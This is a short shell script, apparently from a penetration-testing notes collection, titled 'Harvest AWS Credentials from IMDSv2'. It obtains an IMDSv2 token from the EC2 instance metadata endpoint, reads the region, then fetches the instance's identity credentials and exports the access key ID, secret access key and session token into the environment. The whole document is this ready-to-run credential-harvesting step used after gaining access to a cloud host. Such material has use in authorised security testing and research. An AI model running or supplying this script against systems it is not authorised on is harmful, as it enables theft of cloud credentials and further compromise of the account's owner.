Harvest AWS Credentials from IMDSv2

harvest_creds.sh

# Adapted from https://rhynorater.github.io/AWS-Metadata-Identity-Credentials
token=`curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` \

export AWS_DEFAULT_REGION=`curl -s -H "X-aws-ec2-metadata-token: $token" http://169.254.169.254/latest/meta-data/placement/region`

creds=`curl -s -H "X-aws-ec2-metadata-token: $token" http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance/`

export AWS_ACCESS_KEY_ID=`echo ${creds} | jq -r .AccessKeyId`
export AWS_SECRET_ACCESS_KEY=`echo ${creds} | jq -r .SecretAccessKey`
export AWS_SESSION_TOKEN=`echo ${creds} | jq -r .Token`